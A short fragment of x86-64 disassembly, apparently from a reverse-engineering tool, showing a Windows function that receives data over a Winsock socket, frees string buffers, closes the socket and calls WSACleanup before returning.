call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140002f9d
lea rcx, [rsp + 0x1d0]
call fcn.1400146dc
mov rdx, qword [rbx + 0x18]
mov edi, eax
cmp rdx, 0x10
jb 0x140002f99
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002f94
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000301c
mov rcx, r8
call fcn.14000b8a0
mov eax, edi
jmp 0x140002fe4
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140002fe2
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140002fdd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000301c
mov rcx, r8
call fcn.14000b8a0
xor eax, eax
mov byte [rbx], 0
mov qword [rbx + 0x18], recv
mov qword [rbx + 0x10], 0
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.14000b880
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140014b30
int3